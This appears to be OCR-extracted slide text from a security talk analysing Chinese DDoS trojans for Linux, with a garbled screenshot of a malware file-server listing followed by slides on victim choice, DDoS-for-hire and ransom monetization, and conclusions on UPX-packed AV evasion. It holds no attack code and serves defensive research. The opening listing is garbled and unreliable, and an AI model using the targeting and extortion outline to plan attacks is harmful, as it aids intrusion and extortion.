= 22.45 KB 2014-11-11 23:07:13
BEA=E _
[ B shen 27.15 KB 2014-11-11 23:07:20
AR O B aib 145 MB | 2014-11-11 18:32:06 0
O Bchuan.ere 199.02 KB 2014-11-8 10:09:50 150
0 4-FEF 13 -7 10.35 MB MZ9500
- O B eprgea- 1.08 MB 2014-11-12 0:35:18 0
B ;
- O B Linux 2.4 1.45MB  2014-11-12 0:35:18 0
| | FRSE | _
O B mmd32 771.38 KB 2014-11-11 20:37:35 3
— % E O B mmds4 1.28 MB  2014-11-11 20:37:47 4
&% || Rik || BET | O B mmips 377.05 KB 2014-11-10 23:34:49 69
0 Fiika O B mu24 1.45 MB  2014-11-11 18:32:06 700
= O B mu3z 1.08 MB  2014-11-11 18:32:05 404
1 $R{E
: O B shadu.exe 174.02 KB 2014-11-10 21:21:17 1433
aTE | | e | MZ02117
O B xian 1.02 MB  2014-11-11 20:37:48 3
~ o SRS
HttpFileSarver v2.3c 291 BEREE (ke
BRSS-22ATE: 2014-11-12 1:12:21
TEeEATHE: 00:27:38
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Statistics — Preferences of File Names
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Victim preferences

Attacked small or medium sized local businesses

e profitability depends of ability to stay online

Victims:
* Online gaming site/casinos
 E-commerce shops

* Forums

Potential methods of monetization:
* DDoS as a service

e paying ransom for stopping the DDoS attack

Effect of DDoS directly observed:
* sites unreachable during the process of receiving attack commands

* reachability recovered after the process stopped ]
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Victim preferences

* Online gaming
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Victim preferences

* Online casinos
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Victim preferences
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Victim preferences

Forums
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Conclusion

* Chinese flooding tools continue in tradition of DDoS attacks

* Lots of variants with similar flooding methods under multiple platforms

 The complexity of Linux Trojans has increased

» Attacks significantly more frequent in the past year

* Tool development supported by code sharing through Chinese forums for
developers

* Targeting online services for which online availability is crucial

e (intentional) AV evasion technique with (customized) UPX packer

e Right time to include a static unpacker for ELF UPX into AV engines?
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